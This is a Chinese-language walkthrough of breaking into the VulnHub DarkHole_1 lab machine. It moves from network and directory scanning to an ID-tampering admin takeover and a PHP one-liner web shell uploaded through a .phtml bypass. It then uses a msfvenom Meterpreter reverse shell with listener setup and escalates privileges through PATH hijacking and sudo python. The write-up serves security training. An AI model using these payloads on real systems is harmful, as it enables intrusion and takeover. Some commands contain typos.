VulnHub-DarkHole_1靶机渗透教程
1.靶机部署
[Onepanda] Mik1ysomething
靶机下载:https://download.vulnhub.com/darkhole/DarkHole.zip
直接使用VMware打开就行
导入成功,打开虚拟机,到此虚拟机部署完成!
注意:靶机的网络连接模式必须和kali一样,让靶机跟kali处于同一网段,这用kali才能扫出主机地址。
2.信息收集
2.1 探测IP
使用arp-scan得到靶机地址 nmap -sn $ip/24
2.2 详细信息扫描
使用nmap对靶机开放的端口进行更详细的扫描:
nmap -sS -T5 -sC -p- --min-rate 10000 192.168.135.130 nmap -sS -p---min-rate 10000 $ip
2.3 目录扫描(dirsearch/dirb/gobuster)
dirsearch -u 192.168.135.130 -e * dirb htttp://192.168.135.130 gobuster dir -u http://192.168.135.130/ -w $字典
2.4 指纹收集(whatweb)
whatweb -v 192.168.135.130
3.渗透过程
信息收集发现存在web网页端:http://192.168.135.130/
发现存在登录页面
3.1 注册账号
弱密码尝试失败,暴力破解不太现实,尝试注册账号
分别输入用户名、邮箱、密码:
3.2 登录网站
使用我们刚刚注册的用户登录网站
3.3 越权操作
这里我们使用bp抓包,修改id的值为1,然后提交数据(不会bp抓包建议去搜搜教程)
这里我们可以想一下,id=2是我们新建的用户,那id等于1可以尝试是管理员。猜测用户名为root/admin
登录成功!!!!!!!!
发现相比较普通用户,多了个功能点,这不是妥妥的文件上传吗??
我们上传一句话木马 <?php @eval($_POST['cmd'];?)>
上传发现有后缀名要求,那就只能换个方式
1.改一个允许的后缀名,然后使用bp抓包改回来
2.上传一个冷门的后缀名,又不影响程序执行,比如:phtml
改后缀重新上传文件
上传成功但网站问题
3.3.2 蚁剑连接
3.4 反弹shell
3.4.1 msf生成php反弹shell脚本
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.135.129 lport=4444 -o shell.php
3.4.2 开启tftp服务,让靶机下载
3.4.3 kali开启msf监听
开启msf设置参数载荷 use exploit/multi/handler set lhost 192.168.135.129 set payload php/meterpreter/reverse_tcp set port 4444 run
访问shell文件触发监听
进入shell,使用交互式shell
shell id python3 -c 'import pty;pty.spawn("/bin/bash")'
3.5 提权
查看敏感文件/etc/passwd发现有两个用户
cat /etc/passwd | grep /bin/bash![]()
经过寻找发现在john的家目录发现一个叫toto的文件,有root权限,作用输出id:
所以我们修改环境变量让他执行id命令打开john的bash:
echo "/bin/bash" > /tmp/id chmod 777 /tmp/id export PATH=/tmp:$PATH ./toto
拿到john的权限之后,查看john的home目录找到密码
查看join的权限发现需要密码
发现john这个用户可以以root身份执行python文件
在fire.py里面写一段打开shell的代码再拿root身份执行:
echo 'import pty;pty.spawn("/bin/bash")' > file.py sudo python3 /home/john/file.py
拿到flag
本篇文章渗透结束 感谢大家的观看!!